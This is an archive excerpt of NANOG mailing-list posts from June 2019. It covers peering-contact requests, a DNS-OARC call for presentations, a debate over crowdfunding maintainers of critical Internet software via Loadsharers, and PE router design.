moyen. -------------- next part -------------- An HTML attachment was scrubbed... URL: From Francois.Lecavalier at mindgeek.com Thu Jun 27 15:23:43 2019 From: Francois.Lecavalier at mindgeek.com (Francois Lecavalier) Date: Thu, 27 Jun 2019 15:23:43 +0000 Subject: Anyone from AT&T/AS7018 available? Message-ID: If it's to turn up a circuit I would say try these: I turned up BGP with Anthony once: ag2592 at att.com And the next circuit I had to turn up I was stuck in a hurricane too, reached back to him, was away but was redirecting to his manager: mm2635 at us.att.com I got a reply back within an hour that someone would take care of me and 2 hours later everything was resolved. I can't wait for the day I have to call in a circuit down... -Frank This e-mail may be privileged and/or confidential, and the sender does not waive any related rights and obligations. Any distribution, use or copying of this e-mail or the information it contains by other than an intended recipient is unauthorized. If you received this e-mail in error, please advise me (by return e-mail or otherwise) immediately. Ce courrier ?lectronique est confidentiel et prot?g?. L'exp?diteur ne renonce pas aux droits et obligations qui s'y rapportent. Toute diffusion, utilisation ou copie de ce message ou des renseignements qu'il contient par une personne autre que le (les) destinataire(s) d?sign?(s) est interdite. Si vous recevez ce courrier ?lectronique par erreur, veuillez m'en aviser imm?diatement, par retour de courrier ?lectronique ou par un autre moyen. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jake.zack at cira.ca Thu Jun 27 15:59:59 2019 From: jake.zack at cira.ca (Jake Zack) Date: Thu, 27 Jun 2019 15:59:59 +0000 Subject: Call for Presentations: 31st DNS-OARC Workshop, Austin, Texas, Oct 31 - Nov 01 2019 Message-ID: <4f49afcfd79d4ab8b4b1fa3940a8e1f4@cira.ca> The 31st DNS-OARC Workshop will take place at the JW Marriott Austin in Austin, Texas, USA on October 31st and November 1st 2019. It is co-located with and will take place right after NANOG 77 (Oct 27th to Oct 30th 2019). The Workshop's Program Committee is now requesting proposals for presentations. All DNS-related subjects are welcome. A time slot will also be available for lightning talks (5-10 minutes each) on day two of the workshop, for which submissions will be accepted just before the start of the workshop and until the start of the morning break on day two. There will be an OARC Business and AGM session during the workshop, which will be for OARC Members only. If you are an OARC member and have a sensitive topic that you wish to present during that session those can be accommodated. Workshop Milestones: 25 Jun 2019 - Submissions open via Indico 16 Aug 2019 - Deadline for submission (midnight CDT) 28 Aug 2019 - Initial Contribution list published 28 Sep 2019 - Full agenda published 18 Oct 2019 - Deadline for slideset submission 31 Oct 2019 - Workshop Details for presentation submission are published here: The workshop presentations will be organized by common themes, depending on the topics and the timing of each presentation. There are 30-minute and 15-minute slots, let us know your preference in your submission. To allow the Programme Committee to make objective assessments of submissions, so as to ensure the quality of the workshop, submissions SHOULD include slides. Draft slides are acceptable on submission. If you have questions or concerns you can contact the Programme Committee: https://www.dns-oarc.net/oarc/programme via > Jacob Zack, for the DNS-OARC Programme Committee OARC depends on sponsorship to fund its workshops and associated social events. Please contact > if your organization is interested in becoming a sponsor. (Please note that OARC is run on a non-profit basis, and is not in a position to reimburse expenses or time for speakers at its meetings.) -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Thu Jun 27 16:24:24 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Thu, 27 Jun 2019 09:24:24 -0700 Subject: Caching infrastructure Message-ID: Hello! If you have experience building and operating small caching boxes for cdns, or other type of dns services Please contact me offlist as i have some simple questions about them Thank you -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From beecher at beecher.cc Thu Jun 27 16:32:26 2019 From: beecher at beecher.cc (Tom Beecher) Date: Thu, 27 Jun 2019 12:32:26 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: > > Encouraging folks to contribute to specific individuals directly may be a > little more difficult though, compared to, say, getting a legitimate > organization going that provides (likely objectively-determined > merit-based) payouts to the sort of folks you're talking about. > Adding an organization in front of that whose sole reason for existence is to decide who gets what % of the money doesn't make a lot of sense, mostly because it is just creating another layer of people who are then going to feel entitled to be compensated for taking the time to decide who should be compensated. Maintaining a list of individuals who freely maintain important software, with links so people can choose to donate a few bucks if they like seems perfectly fine. On Thu, Jun 27, 2019 at 11:59 AM Matt Harris wrote: > On Thu, Jun 27, 2019 at 10:41 AM Eric S. Raymond wrote: > >> The members of this list are, I think, much more aware tham most that >> a lot of critical Internet software is maintained by unfunded >> volunteers, and of the systemic risks that result from this. >> >> I'm attacking the problem at the root, applying what the Internet has >> taught us about decentralization and avoidiing single poimts of >> failure. In part because I'm currently struggling with medical bills >> (nothing life-threatening, just ankle surgery) but I've been worrying >> about the larger problem for a decade. >> >> Please read http://loadsharers.net >> >> Of course I would like everyone on here to take the pledge and spread >> the word in technical communities where they have influence. But >> beyond that, there are several members of this list who are clearly >> qualified to join as advisers. We're going to need that as the >> Loadsharers network scales up. >> > > Interesting concept, and seems like a good idea. What's the end goal look > like? Encouraging folks to contribute to specific individuals directly may > be a little more difficult though, compared to, say, getting a legitimate > organization going that provides (likely objectively-determined > merit-based) payouts to the sort of folks you're talking about. Is that on > the table, or is the goal more to just encourage direct payments from one > individual to others? > > I think many of us assume that doing the sort of work you're referring to > will definitely result in the regular receipt of many prestigious, > high-paying job offers. If that's not the case, maybe something else we can > do is to help find full-time employment/funding for folks who contribute > and need it. > > Hope your ankle's feeling better soon! > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From matt at netfire.net Thu Jun 27 16:49:33 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 27 Jun 2019 11:49:33 -0500 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: On Thu, Jun 27, 2019 at 11:32 AM Tom Beecher wrote: > Encouraging folks to contribute to specific individuals directly may be a >> little more difficult though, compared to, say, getting a legitimate >> organization going that provides (likely objectively-determined >> merit-based) payouts to the sort of folks you're talking about. >> > > Adding an organization in front of that whose sole reason for existence is > to decide who gets what % of the money doesn't make a lot of sense, mostly > because it is just creating another layer of people who are then going to > feel entitled to be compensated for taking the time to decide who should be > compensated. > I don't think anyone needs to be compensated for that. I think that you can certainly run a volunteer organization. The time required would be minimal enough that normally-employed folks could participate without issue in managing it. Having that tax deductible status, in the US at least, would be a big benefit and would also bring in institutional/corporate donors and the like as well. Non-profits have been run for making infrastructure software before and have been at least somewhat successful. ISC is an example of this. Something a bit more decentralized could work just fine, too, imho. As far as just asking people to give to others at random, I think you'll see less uptake and potentially issues with parity (for example, if you add worthy folks to a list, those at the top of the list will likely benefit more from random contributors just because they select those at the top of the list - so how do you decide who gets to be where on such a list?), and little if any interest from institutional/corporate donors. A formal organization structure with rules written down in public also helps to ensure transparency and if you set objective, meritocratic rules for the disbursement of funds and you keep things transparent around them, I think that would attract a lot of contributions. Just my opinions, though. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jeffshultz at sctcweb.com Thu Jun 27 16:52:43 2019 From: jeffshultz at sctcweb.com (Jeff Shultz) Date: Thu, 27 Jun 2019 09:52:43 -0700 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: On Thu, Jun 27, 2019 at 9:34 AM Tom Beecher wrote: >> >> Encouraging folks to contribute to specific individuals directly may be a little more difficult though, compared to, say, getting a legitimate organization going that provides (likely objectively-determined merit-based) payouts to the sort of folks you're talking about. > > > Adding an organization in front of that whose sole reason for existence is to decide who gets what % of the money doesn't make a lot of sense, mostly because it is just creating another layer of people who are then going to feel entitled to be compensated for taking the time to decide who should be compensated. > It will be interesting to see, should this get off the ground to any significant amount, if it turns into a bit of a popularity contest - where a few get the lions share of the donations and the rest a pittance. It might be a good idea to provide the list in a random (and frequently re-randomized) fashion to avoid the same names always being at the top of it. I see that Matt Harris had the same thought. -- Jeff Shultz -- Like us on Social Media for News, Promotions, and other information!!                      _**** This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission. ****_ From mfidelman at meetinghouse.net Thu Jun 27 16:56:20 2019 From: mfidelman at meetinghouse.net (Miles Fidelman) Date: Thu, 27 Jun 2019 12:56:20 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: <8394309e-83fe-2492-cbc0-9457bb1a0ac4@meetinghouse.net> I think it would be a grand thing if someone put together a visible list of critical Internet infrastructure, who maintains it, and perhaps "click to support" buttons for those that need support.  Then again, such a list might present a wonderful target list for those who might want to do ill. This also might be a great role for the Internet Systems Consortium.  You know, the folks who maintain Bind, and already maintain a list of critical software maintained by ISC and others, along with a list of supporters, and a way to support some of the efforts. Miles Fidelman On 6/27/19 12:49 PM, Matt Harris wrote: > On Thu, Jun 27, 2019 at 11:32 AM Tom Beecher wrote: > > Encouraging folks to contribute to specific individuals > directly may be a little more difficult though, compared to, > say, getting a legitimate organization going that provides > (likely objectively-determined merit-based) payouts to the > sort of folks you're talking about. > > > Adding an organization in front of that whose sole reason for > existence is to decide who gets what % of the money doesn't make a > lot of sense, mostly because it is just creating another layer of > people who are then going to feel entitled to be compensated for > taking the time to decide who should be compensated. > > > I don't think anyone needs to be compensated for that. I think that > you can certainly run a volunteer organization. The time required > would be minimal enough that normally-employed folks could participate > without issue in managing it. Having that tax deductible status, in > the US at least, would be a big benefit and would also bring in > institutional/corporate donors and the like as well. Non-profits have > been run for making infrastructure software before and have been at > least somewhat successful. ISC is an example of this. Something a bit > more decentralized could work just fine, too, imho. > > As far as just asking people to give to others at random, I think > you'll see less uptake and potentially issues with parity (for > example, if you add worthy folks to a list, those at the top of the > list will likely benefit more from random contributors just because > they select those at the top of the list - so how do you decide who > gets to be where on such a list?), and little if any interest from > institutional/corporate donors. A formal organization structure with > rules written down in public also helps to ensure transparency and if > you set objective, meritocratic rules for the disbursement of funds > and you keep things transparent around them, I think that would > attract a lot of contributions. > > Just my opinions, though. > -- In theory, there is no difference between theory and practice. In practice, there is. .... Yogi Berra Theory is when you know everything but nothing works. Practice is when everything works but no one knows why. In our lab, theory and practice are combined: nothing works and no one knows why. ... unknown -------------- next part -------------- An HTML attachment was scrubbed... URL: From esr at thyrsus.com Thu Jun 27 17:04:16 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 13:04:16 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: <20190627170416.GA99880@thyrsus.com> Matt Harris : > Interesting concept, and seems like a good idea. What's the end goal look > like? Depends on timescale. What I want is for a growing number of skilled engineers to be able to both (a) work shared-infrastructure problems full time, and (b) be able to feed themselves and pay rent and live normal lives while doing it. If this *really* scales up well, shared infrastructure might become something like a career path. Work on things of widely perceived value, get lots of patrons, prosper. We need to do something like this because currently LBIPs are caught between two problems: (1) No way to monetize critical services (2) Altruism doesn't scale well. > Encouraging folks to contribute to specific individuals directly may > be a little more difficult though, compared to, say, getting a legitimate > organization going that provides (likely objectively-determined > merit-based) payouts to the sort of folks you're talking about. I designed loadsharers out of experience that the centralized model has been tried and failed. As the FAQ notes: It turns out that recruiting people who are both competent to run an organization like that and able to sustain the effort is really hard. Also, organizations that handle money have high complexity, overhead, and management costs. Remittance systems offer us a way to route around most of those costs. Loadsharers is designed to be the thinnest possible coordination layer over the remittance systems. Last but not least, centralization creates single points of failure. A loose network like Loadsharers should be less vulnerable to individual incompetence, political capture, corruption, etc. I have specific instances in mind for all the organizational failure modes I describe. Also, I have yet to see any evidence that small central panels of experts are better at judging merit than a swarm attack on the evaluation problem in which people choose to fund what they like and know about. That's called a "market". It works. > I think many of us assume that doing the sort of work you're referring to > will definitely result in the regular receipt of many prestigious, > high-paying job offers. When that happens, it's actually a problem. Let's suppose that someone were to judge I've been doing high-quality work on security-hardened NTP. I get a job offer as a result. Is it going to be to work on NTP? Nope, you can't monetize NTP, so my employer will want me to work on something else that generates a profit. Boom. We lose. > If that's not the case, maybe something else we can > do is to help find full-time employment/funding for folks who contribute > and need it. What "something else" could be more efficient that putting money into Loadsharers? Corporate overhead for an employee is typically 100% of gross salary or up due to plant costs. When you fund an LBIP through a remittance service, the service takes a cut that's usually about 5%. You could buy a lot more infrastructure support with the 95% difference. Part of what the Loadsharers design is surfing on is the fact that software developers don't actually need the kind of capital concentration that the modern corporation is adapted to manage. We used to, back when computers and communications were expensive, but that was decades ago now. So, if your corporation wants to do infrastructure support efficiently, the most effective thing it can do is earmark some number of K$ per month for the job, then choose experts from among their employees to put it into Loadsharers, possibly acting as advisers to attract more money to the things they can make a case are important. > Hope your ankle's feeling better soon! Thank you, it seems to be healing nicely. -- Eric S. Raymond From esr at thyrsus.com Thu Jun 27 17:26:02 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 13:26:02 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: <20190627172602.GB99880@thyrsus.com> Tom Beecher > > Adding an organization in front of that whose sole reason for existence is > > to decide who gets what % of the money doesn't make a lot of sense, mostly > > because it is just creating another layer of people who are then going to > > feel entitled to be compensated for taking the time to decide who should be > > compensated. > I don't think anyone needs to be compensated for that. I think that you can > certainly run a volunteer organization. The time required would be minimal > enough that normally-employed folks could participate without issue in > managing it. I have founded and run three 501(c)3s. Two of them are still on mission 17 and 26 years, respectively, after they were founded and with me no longer running them. I have seen success, I have seen failure, I have the battle scars. You are, sadly, wrong. When your nonprofit scales up past a certain level part time problems turn into full-time ones. You may get lucky and not be required to scale up that far, but it is not wise to count on this. Usually you *will* hit that transition point. If you don't adapt to it, your organization will fail. Above that point, when you fail to compensate your people adequately, you lose them. They bail out or they burn out. Altrustic drive can postpone that reckoning, but not prevent it. -- Eric S. Raymond From esr at thyrsus.com Thu Jun 27 17:31:22 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 13:31:22 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: <20190627173122.GC99880@thyrsus.com> Jeff Shultz : > It will be interesting to see, should this get off the ground to any > significant amount, if it turns into a bit of a popularity contest - > where a few get the lions share of the donations and the rest a > pittance. I'm aware of that possible failure mode. It's why I designed in a three-way fanout. The Loadsharer pledge strongly encourages its takers to to find and sponsore *three* LBIPs. > It might be a good idea to provide the list in a random (and > frequently re-randomized) fashion to avoid the same names always being > at the top of it. I see that Matt Harris had the same thought. There is no one list, by design. That would be a single point of failure. Each adviser keeps his or her own list. Loadsharers choose which advisers to pay attention to. Didn't anyone actually read the webpage? -- Eric S. Raymond From esr at thyrsus.com Thu Jun 27 17:46:28 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 13:46:28 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> Message-ID: <20190627174628.GD99880@thyrsus.com> Mehmet Akcin : > On Thu, Jun 27, 2019 at 08:41 Eric S. Raymond wrote: > > > The members of this list are, I think, much more aware tham most that > > a lot of critical Internet software is maintained by unfunded > > volunteers, and of the systemic risks that result from this. > > Please explain. This is not true. Tell it to Dave Taht, who broke his health solving the bufferbloat problem. Tell it to Patrick Volkerding, who sweated to created the first Linux distribution - inventing a whole tier of infrastructure we now take for granted - only to end up in deep financial trouble because other people make all the money selling the CDs. Tell it to me, leading GIFLIB and GPSD and NTPsec and 48 other projects and looking at having my life savings possibly wiped out by a relatively low-grade medical problem because I'm not on anyone's payroll. Tell it to Harlan Stenn, who worked on NTP for over a decade and could barely get anyone to kick in enough money to buy coffee. If you do not understand the scope of this problem, you are *astoundingly* ignorant. And probably alone on this list. > This needs governance and transparency around it. Just launching a page > isn’t going to get you anywhere “sustsinable” Every loadsharer keeps control of their money at all times. Nobody is makng decisions for them; the most the advisers can do is suggest priorities. Everyting happens in public. How does it get more transparent than that? -- Eric S. Raymond From esr at thyrsus.com Thu Jun 27 17:51:12 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 13:51:12 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: <8394309e-83fe-2492-cbc0-9457bb1a0ac4@meetinghouse.net> References: <20190627154111.27032470499D@snark.thyrsus.com> <8394309e-83fe-2492-cbc0-9457bb1a0ac4@meetinghouse.net> Message-ID: <20190627175112.GF99880@thyrsus.com> Miles Fidelman : > I think it would be a grand thing if someone put together a visible list of > critical Internet infrastructure, who maintains it, and perhaps "click to > support" buttons for those that need support.  Then again, such a list might > present a wonderful target list for those who might want to do ill. Which is why Loadsharers is designed not to have one big list at all. As Internet engineers, we've learned a lot about avoiding single points of failure in our communications networks. Loadsharers applies that hard-won wisdom to the funding problem. -- Eric S. Raymond From jeffshultz at sctcweb.com Thu Jun 27 17:53:51 2019 From: jeffshultz at sctcweb.com (Jeff Shultz) Date: Thu, 27 Jun 2019 10:53:51 -0700 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627173122.GC99880@thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627173122.GC99880@thyrsus.com> Message-ID: On Thu, Jun 27, 2019 at 10:31 AM Eric S. Raymond wrote: > > Jeff Shultz : > > It will be interesting to see, should this get off the ground to any > > significant amount, if it turns into a bit of a popularity contest - > > where a few get the lions share of the donations and the rest a > > pittance. > > I'm aware of that possible failure mode. It's why I designed in a > three-way fanout. The Loadsharer pledge strongly encourages its > takers to to find and sponsore *three* LBIPs. > > > It might be a good idea to provide the list in a random (and > > frequently re-randomized) fashion to avoid the same names always being > > at the top of it. I see that Matt Harris had the same thought. > > There is no one list, by design. That would be a single point of failure. > > Each adviser keeps his or her own list. Loadsharers choose which > advisers to pay attention to. > > Didn't anyone actually read the webpage? I did, but I definitely missed the part about advisors maintaining their own lists. I believed they were all going to be contributing to a master LBIPs list. - "and can choose which Advisers to follow (or to follow none!)" did not make that explicitly clear. My mistake was thatI didn't go to the Advisors' pages. I thought they'd just be bios or somesuch, but the first lists are there as well. As is, one thing that grates a bit personally is that the two advisor pages do not share a common structure - If I'm doing a comparison, even unconsciously, I'm going to want to be looking at like objects. Instead, I have your page, which matches the rest of the formatting of the Loadsharer's website, and then I go to Dave Täht's page which is a Patreon blog post, with a very different appearance. I suggest that you provide Advisors with Loadsharer pages like your own, to increase the commonality between list appearances. My background is military - some uniformity counts in my worldview. Maybe the lack of it will assist in splitting the loadsharers between Advisors, which could be considered a feature. FWIW. -- Jeff Shultz -- Like us on Social Media for News, Promotions, and other information!!                      _**** This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission. ****_ From darin.steffl at mnwifi.com Thu Jun 27 18:01:31 2019 From: darin.steffl at mnwifi.com (Darin Steffl) Date: Thu, 27 Jun 2019 13:01:31 -0500 Subject: AS16509 (Amazon) peering contact In-Reply-To: References: Message-ID: It took us over a year before peering was established. Just keep trying until they reply. On Thu, Jun 27, 2019 at 11:13 AM Francois Lecavalier < Francois.Lecavalier at mindgeek.com> wrote: > Hi nanog, > > > > We just joined a IXP (QiX – Montreal) in the hope to offload >4Gbps of > traffic to AWS, however it’s been 2 weeks we sent a request to > peering at amazon.com without any reply. > > > > Are they usually taking long to reply? Anyone have a direct contact? > > > > Thanks, > > > > *-Frank* > This e-mail may be privileged and/or confidential, and the sender does not > waive any related rights and obligations. Any distribution, use or copying > of this e-mail or the information it contains by other than an intended > recipient is unauthorized. If you received this e-mail in error, please > advise me (by return e-mail or otherwise) immediately. Ce courrier > électronique est confidentiel et protégé. L'expéditeur ne renonce pas aux > droits et obligations qui s'y rapportent. Toute diffusion, utilisation ou > copie de ce message ou des renseignements qu'il contient par une personne > autre que le (les) destinataire(s) désigné(s) est interdite. Si vous > recevez ce courrier électronique par erreur, veuillez m'en aviser > immédiatement, par retour de courrier électronique ou par un autre moyen. > -- Darin Steffl Minnesota WiFi www.mnwifi.com 507-634-WiFi Like us on Facebook -------------- next part -------------- An HTML attachment was scrubbed... URL: From esr at thyrsus.com Thu Jun 27 18:14:17 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 14:14:17 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627173122.GC99880@thyrsus.com> Message-ID: <20190627181417.GA111387@thyrsus.com> Jeff Shultz : > As is, one thing that grates a bit personally is that the two advisor > pages do not share a common structure - If I'm doing a comparison, > even unconsciously, I'm going to want to be looking at like objects. > Instead, I have your page, which matches the rest of the formatting of > the Loadsharer's website, and then I go to Dave Täht's page which is a > Patreon blog post, with a very different appearance. > > I suggest that you provide Advisors with Loadsharer pages like your > own, to increase the commonality between list appearances. > > My background is military - some uniformity counts in my worldview. > Maybe the lack of it will assist in splitting the loadsharers between > Advisors, which could be considered a feature. No, I think you are right and had already identified this as a problem. I just hadn't gotten around to nudging Dave about it yet. I'm forwarding this to him. I'm going to take your feedback as actionable advice that I need to do something formal about making adviser pages comparable *now*, rather than when I get a round tuit. What I can do about this within the Loadsharers organizational design is put up a "Best practices for Advisers" page strongly recommending that new advisers should clone an existing Adviser page when creating theirs. I'll put that up today. I can also offer advisers the ability to host their pages through the Gitlab repository I use for the main loadsharers page and FAQ, with the same toolchain for making the HTML. Which is, in case anyone didn't recognize it, asciidoc. With a Gitlab CI job rendering to GitLab pages and a custom domain. -- Eric S. Raymond From diosbejgli at gmail.com Thu Jun 27 18:55:17 2019 From: diosbejgli at gmail.com (Andras Toth) Date: Thu, 27 Jun 2019 19:55:17 +0100 Subject: AS16509 (Amazon) peering contact In-Reply-To: References: Message-ID: Hey Francois, Including at least an ASN in the peering request usually helps to expedite the process :) Best regards, Andras > On 27 Jun 2019, at 19:01, Darin Steffl wrote: > > It took us over a year before peering was established. Just keep trying until they reply. > >> On Thu, Jun 27, 2019 at 11:13 AM Francois Lecavalier wrote: >> Hi nanog, >> >> >> >> We just joined a IXP (QiX – Montreal) in the hope to offload >4Gbps of traffic to AWS, however it’s been 2 weeks we sent a request to peering at amazon.com without any reply. >> >> >> >> Are they usually taking long to reply? Anyone have a direct contact? >> >> >> >> Thanks, >> >> >> >> -Frank >> >> This e-mail may be privileged and/or confidential, and the sender does not waive any related rights and obligations. Any distribution, use or copying of this e-mail or the information it contains by other than an intended recipient is unauthorized. If you received this e-mail in error, please advise me (by return e-mail or otherwise) immediately. Ce courrier électronique est confidentiel et protégé. L'expéditeur ne renonce pas aux droits et obligations qui s'y rapportent. Toute diffusion, utilisation ou copie de ce message ou des renseignements qu'il contient par une personne autre que le (les) destinataire(s) désigné(s) est interdite. Si vous recevez ce courrier électronique par erreur, veuillez m'en aviser immédiatement, par retour de courrier électronique ou par un autre moyen. > > > -- > Darin Steffl > Minnesota WiFi > www.mnwifi.com > 507-634-WiFi > Like us on Facebook -------------- next part -------------- An HTML attachment was scrubbed... URL: From cma at cmadams.net Thu Jun 27 18:56:32 2019 From: cma at cmadams.net (Chris Adams) Date: Thu, 27 Jun 2019 13:56:32 -0500 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627174628.GD99880@thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627174628.GD99880@thyrsus.com> Message-ID: <20190627185632.GA16341@cmadams.net> Once upon a time, Eric S. Raymond said: > Tell it to Patrick Volkerding, who sweated to created the first Linux > distribution No, he didn't. -- Chris Adams From esr at thyrsus.com Thu Jun 27 19:21:01 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 15:21:01 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627185632.GA16341@cmadams.net> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627174628.GD99880@thyrsus.com> <20190627185632.GA16341@cmadams.net> Message-ID: <20190627192101.GA89094@thyrsus.com> Chris Adams : > Once upon a time, Eric S. Raymond said: > > Tell it to Patrick Volkerding, who sweated to created the first Linux > > distribution > > No, he didn't. Can you be more specific? Are we possibly having some definitional issue about what constitutes a Linux distribution? It is certainly possible you are right and all my other informants are wrong, but... facts, please? Off-list, preferably. This isn't a nanog concern. -- Eric S. Raymond From mfidelman at meetinghouse.net Thu Jun 27 19:34:36 2019 From: mfidelman at meetinghouse.net (Miles Fidelman) Date: Thu, 27 Jun 2019 15:34:36 -0400 Subject: OFFTRACK - Re: 1st Linux Distro [was:Re: Crowdfunding critical infrastructure] In-Reply-To: <20190627192101.GA89094@thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627174628.GD99880@thyrsus.com> <20190627185632.GA16341@cmadams.net> <20190627192101.GA89094@thyrsus.com> Message-ID: <401bd1b7-e209-d650-0774-b84df499f9ba@meetinghouse.net> On 6/27/19 3:21 PM, Eric S. Raymond wrote: > Chris Adams : >> Once upon a time, Eric S. Raymond said: >>> Tell it to Patrick Volkerding, who sweated to created the first Linux >>> distribution >> No, he didn't. > Can you be more specific? Are we possibly having some definitional issue > about what constitutes a Linux distribution? > > It is certainly possible you are right and all my other informants are > wrong, but... facts, please? Certainly offtrack, but it only takes a little googling to find Softlanding, which was the predecessor of Slackware, and a few more (anybody remember Yggdrasil?). Debian was released so close to Slackware as to be essentially simultaneous (5 months). And then there were a few other minor distros. There's a pretty good family tree at https://en.wikipedia.org/wiki/Linux_distribution#History Now, if you mean, the oldest EXTANT distribution, that WOULD be Slackware. Miles Fidelman -- In theory, there is no difference between theory and practice. In practice, there is. .... Yogi Berra Theory is when you know everything but nothing works. Practice is when everything works but no one knows why. In our lab, theory and practice are combined: nothing works and no one knows why. ... unknown -------------- next part -------------- An HTML attachment was scrubbed... URL: From jwbensley+nanog at gmail.com Thu Jun 27 19:38:26 2019 From: jwbensley+nanog at gmail.com (James Bensley) Date: Thu, 27 Jun 2019 20:38:26 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <94ff38dc-8cf3-d109-e02f-457ecb447a48@seacom.mu> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <018701d52cde$0ee6db70$2cb49250$@netconsultings.com> <94ff38dc-8cf3-d109-e02f-457ecb447a48@seacom.mu> Message-ID: <950C9814-3DB2-4A13-AB13-587FDEA0A26D@gmail.com> On 27 June 2019 16:31:27 BST, Mark Tinka wrote: > > >On 27/Jun/19 14:48, James Bensley wrote: > >> That to me is a simple scenario, and it can be mapped with a >> dependency tree. But in my experience, and maybe it's just me, things >> are usually a lot more complicated than this. The root cause is >> probably a bad design introducing too much complexity, which is >> another vote for smaller PEs from me. With more service dedicated PEs >> one can reduce or remove the possibility of piling multiple services >> and more complexity onto the same PE(s). > >Which is one of the reasons we - painfully to the bean counters - >insist >that routers are deployed for function. > >We won't run peering and transit services on the same router. > >We won't run SP and Enterprise on the same router as Broadband. > >We won't run supporting services (DNS, RADIUS, WWW, FTP, Portals, NMS, >e.t.c.) on the same router where we terminate customers. > >This level of distribution, although quite costly initially, means you >reduce the inter-dependency of services at a hardware level, and can >safely keep things apart so that when bits fail, you aren't committing >other services to the same fate. > >Mark. Agreed. This is worked well for me over time. It's costly in the initial capex out-lay but these boxes will have different upgrade/capacity increase times and price points, so over time everything spreads out. Massive iron upgrades require biblical business cases and epic battles to get the funds approved. Periodic small to medium PE upgrades are nicer on the annual budget and the forecasting. Cheers, James. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jschauma at netmeister.org Thu Jun 27 19:41:42 2019 From: jschauma at netmeister.org (Jan Schaumann) Date: Thu, 27 Jun 2019 15:41:42 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: <8394309e-83fe-2492-cbc0-9457bb1a0ac4@meetinghouse.net> References: <20190627154111.27032470499D@snark.thyrsus.com> <8394309e-83fe-2492-cbc0-9457bb1a0ac4@meetinghouse.net> Message-ID: <20190627194142.GP16647@netmeister.org> Miles Fidelman wrote: > I think it would be a grand thing if someone put together a visible list of > critical Internet infrastructure, who maintains it, and perhaps "click to > support" buttons for those that need support. Perhaps an opportunity to collaborate with https://www.coreinfrastructure.org/ ? -Jan From jwbensley+nanog at gmail.com Thu Jun 27 19:41:53 2019 From: jwbensley+nanog at gmail.com (James Bensley) Date: Thu, 27 Jun 2019 20:41:53 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <5024d726-e718-4852-73c5-6af8bb15b672@seacom.mu> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <5024d726-e718-4852-73c5-6af8bb15b672@seacom.mu> Message-ID: On 27 June 2019 16:26:03 BST, Mark Tinka wrote: > > >On 27/Jun/19 10:58, James Bensley wrote: > >> Hi Adam, >> >> Over the years I have been bitten multiple times by having fewer big >> routers with either far too many services/customers connected to them >> or too much traffic going through them. These days I always go for >> more smaller/more routers than fewer/larger routers. >> >> One experience I have made is that when there is an outage on a large >> PE, even when it still has spare capacity, is that the business >impact >> can be too much to handle (the support desk is overwhelmed, customers >> become irate if you can't quickly tell them what all the impacted >> services are, when service will be restored, the NMS has so many >> alarms it’s not clear what the problem is or where it's coming from >> etc.). >> >> I’ve seen networks place change freeze on devices, with the exception >> of changes that migrate customers or services off of the PE, because >> any outage would create too great an impact to the business, or risk >> the customers terminating their contract. I’ve also seen changes >> freeze be placed upon large PEs because the complexity was too great, >> trying to work out the impact of a change on one of the original PEs >> from when the network was first 